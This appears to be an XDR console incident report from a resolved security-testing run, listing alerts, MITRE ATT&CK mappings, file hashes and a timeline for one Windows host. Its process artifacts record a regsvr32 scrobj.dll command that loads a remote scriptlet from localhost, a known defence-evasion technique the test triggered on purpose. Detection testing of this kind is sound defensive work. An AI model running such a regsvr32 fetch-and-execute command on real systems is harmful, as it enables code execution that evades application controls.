HIGH 'Regsvr32 may have run code from an untrusted source' along with 4 other issues

RESOLVED SECURITY TESTING ID: #25 | Created: 2026-01-01 07:18:15
XDR Console
5
Alerts
1
Hosts
18
Files
0
Network
Incident Overview

'Regsvr32 may have run code from an untrusted source' along with 4 other issues generated by XDR BIOC and XDR Agent detected on host desktop-fnumv3u involving 2 users

5
2026-01-01 07:22
Unassigned
XDR BIOC, XDR Agent
Malware Execution
Affected Hosts & Users
desktop-fnumv3u\user user
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0011 - Command and Control TA0002 - Execution
T1059 - Command and Scripting Interpreter T1071.001 - Application Layer Protocol: Web Protocols T1140 - Deobfuscate/Decode Files or Information T1218.010 - System Binary Proxy Execution: Regsvr32 T1218.007 - System Binary Proxy Execution: Msiexec
File Artifacts 18
File Name Path SHA256 Signature Verdict Actions
MegaGenerator.exe - 8b13dc94b8bb83116e6a44d654858757b82ccd3c9de9aa378796cfe5760fb88c SIGNATURE_UNSIGNED UNKNOWN VT
cmd.exe - badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0 SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - 022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7 SIGNATURE_SIGNED UNKNOWN VT
msiexec.exe - d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb SIGNATURE_SIGNED UNKNOWN VT
conhost.exe - b02ee54fb2ec69673386d41119ee8ed083a6eab3bfca6aa2155d20ce68ef8963 SIGNATURE_SIGNED UNKNOWN VT
python.exe - 467014615a5255aca450ae88100dd2caf887da87657f00e3c2171ec44a685aec SIGNATURE_SIGNED UNKNOWN VT
UltimateXdrGenerator.exe - 82fabb35db24a714b179c912f8c0cb90ef174c8db9d6c5bbc59346da7478d82d SIGNATURE_UNSIGNED UNKNOWN VT
powershell.exe - 9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3 SIGNATURE_SIGNED UNKNOWN VT
chcp.com - f596974158428e42aa47e9eddccb5a854f20cbd2df9d0c044093f38514c56328 SIGNATURE_SIGNED UNKNOWN VT
tasklist.exe - be7241a74fe9a9d30e0631e41533a362b21c8f7aae3e5b6ad319cc15c024ec3f SIGNATURE_SIGNED UNKNOWN VT
calc.exe - 58189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f SIGNATURE_SIGNED UNKNOWN VT
rundll32.exe - 076592ca1957f8f357cc201f0015072c612f5770ad7de85f87f254253c754dd7 SIGNATURE_SIGNED UNKNOWN VT
bitsadmin.exe - 739b2dd012ea183895cc01116906f339c9aa1c0baabf6f22c8e59e25a0c12917 SIGNATURE_SIGNED UNKNOWN VT
systeminfo.exe - 6f87caa51bdea802045bb281fc2686a3c76364c26a3ffe6c2ccac4af5f9db37b SIGNATURE_SIGNED UNKNOWN VT
certutil.exe - fd1670b43e2d9188b12b233780bf043c5a90a67a2c6e3fcdc564a5c246531bc2 SIGNATURE_SIGNED UNKNOWN VT
reg.exe - c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d SIGNATURE_SIGNED UNKNOWN VT
schtasks.exe - 2327e073dcf25ae03dc851ea0f3414980d3168fa959f42c5f77be1381ae6c41d SIGNATURE_SIGNED UNKNOWN VT
NETSTAT.EXE - b094e827af70241d71bed9767ec1a254fdc4164a646b2ba4c7105cd783adba0d SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 4
Process Command Line Parent Process User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe User
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe DESKTOP-FNUMV3U\User
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe DESKTOP-FNUMV3U\User
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
5
Alerts
1
Hosts
18
Files
0
Network
Alert Categories
Malware Execution
Timeline
01-01 07:22:52
Incident Modified
Status or details updated
01-01 07:22:52
Incident Resolved
resolved security testing
01-01 07:22:15
File Drop - 2775215878
high - Prevented (Blocked)
01-01 07:19:38
WildFire Malware
high - Detected (Post Detected)
01-01 07:18:31
Network Connection - 1971152322
high - Prevented (Blocked)
01-01 07:18:15
Incident Created
#25 - 'Regsvr32 may have run code from an untrusted source' along with 4 other issues
01-01 07:18:15
MegaGenerator.exe
Verdict: Unknown
01-01 07:18:15
cmd.exe
Verdict: Unknown
01-01 07:18:15
regsvr32.exe
Verdict: Unknown
01-01 07:18:15
msiexec.exe
Verdict: Unknown
01-01 07:18:15
conhost.exe
Verdict: Unknown
01-01 07:18:15
python.exe
Verdict: Unknown
01-01 07:18:15
UltimateXdrGenerator.exe
Verdict: Unknown
01-01 07:18:15
powershell.exe
Verdict: Unknown
01-01 07:18:15
chcp.com
Verdict: Unknown
01-01 07:18:15
tasklist.exe
Verdict: Unknown
01-01 07:18:08
Regsvr32 may have run code from an untrusted source
high - Detected
01-01 07:18:07
Suspicious Process Creation
medium - Prevented (Blocked)